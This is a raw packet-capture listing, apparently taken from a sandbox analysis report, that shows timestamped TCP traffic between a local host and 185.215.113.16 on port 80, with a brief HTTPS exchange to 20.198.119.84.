Dec 28, 2024 10:03:38.385227919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.385334015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.385382891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.386085033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.386136055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.386193991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.386967897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.387017012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.387056112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.387851000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.387947083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.387973070 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.388758898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.388850927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.388901949 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.561888933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.590507984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.590523005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.590588093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.595724106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.597604036 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.709882021 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.709897995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.709909916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.709954023 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.717032909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.717046976 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.717082024 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.762713909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.780242920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.794938087 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829298973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829324961 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829338074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829350948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829363108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829375029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829405069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829418898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829428911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829428911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829442978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829456091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829458952 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829468012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829480886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829493046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829502106 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829525948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829946995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829976082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829988956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.829998016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.829999924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830013037 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830023050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830024004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830034971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830046892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830048084 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830059052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830065012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830070972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830082893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830096960 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830112934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830123901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830136061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830169916 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830709934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830723047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830734015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830746889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830766916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830773115 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830786943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830797911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830806017 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830810070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830828905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830832958 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830842018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830853939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830854893 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830868006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830878973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830881119 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830892086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.830898046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.830929041 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831619978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831672907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831824064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831836939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831846952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831859112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831871033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831876040 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831882954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831895113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831903934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831907034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831918955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831923962 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831932068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831942081 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831944942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831957102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.831965923 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.831990957 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832767010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832778931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832797050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832808971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832819939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832825899 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832837105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832847118 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832849026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832863092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832875013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832884073 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832889080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832905054 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832911968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832916975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832927942 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.832928896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.832952976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.833729982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833744049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833754063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833765984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833779097 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833792925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833794117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.833805084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833817005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833827972 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.833830118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833837032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833842993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833844900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.833854914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833867073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833873034 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.833879948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.833900928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.834501982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834526062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834538937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834544897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834557056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834578037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.834594011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834604025 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.834606886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834619045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834633112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834642887 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.834645033 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.834660053 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.835361958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835372925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835383892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835396051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835407972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835419893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835421085 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.835432053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.835453987 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.835469007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.860744953 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:38.860955954 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:38.862642050 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:38.862651110 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:38.862910032 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:38.864743948 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:38.864787102 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:38.864792109 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:38.864919901 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:38.899790049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.899924040 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.900032043 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.911329031 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:38.914567947 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.914598942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.914647102 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.914897919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.915007114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.915047884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.916757107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.916927099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.916970968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.917102098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.917295933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.917355061 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.918488979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.918661118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.918756008 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.920166969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.920299053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.920344114 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.921622038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.921745062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.921791077 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.922116041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.922200918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.922290087 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.922516108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.922559977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.922601938 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.922893047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.922972918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.923019886 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.923490047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.923531055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.923572063 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.923939943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.924024105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.924067974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.924746037 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.924859047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.924917936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.925599098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.925683022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.925776005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.926461935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.926588058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.926630974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.927392960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.927519083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.927567005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.928268909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.928380966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.928422928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.929126024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.929248095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.929580927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.930035114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.930229902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.930280924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.930955887 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.930969954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.931010008 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.931798935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.932003975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.932085037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.932679892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.932841063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.932881117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.933557987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.933666945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.933729887 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.934453964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.934565067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.934659004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.935374022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.935477972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.935568094 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.936218023 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.936350107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.936440945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.937144995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.937277079 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.937329054 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.938050985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.938174963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.938218117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.938941956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.938982010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.939022064 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.939824104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.939974070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.940018892 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.940687895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.940799952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.940874100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.941561937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.941672087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.941706896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.942514896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.942564964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.942601919 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.943340063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.943448067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.943487883 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.944221973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.944339037 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.944608927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.945108891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.945194960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.945236921 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.946075916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.946248055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.946367979 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.946908951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.946989059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.947029114 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.947789907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.947829962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.947871923 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.948678970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.948774099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.949019909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.949563980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.949664116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.949713945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.950651884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.950861931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.950915098 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.951430082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.951478004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.951515913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.952214956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.952332020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.952374935 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.953166008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.953325033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.953435898 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.954005957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.954133987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.954174042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.954899073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.955032110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.955101013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.955816984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.955883980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.955921888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.956643105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.956783056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.956820011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.957556963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.957670927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.957710028 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.958425999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.958517075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.958940029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.959326029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.959440947 CET	80	49766	185.215.113.16	192.168.2.6
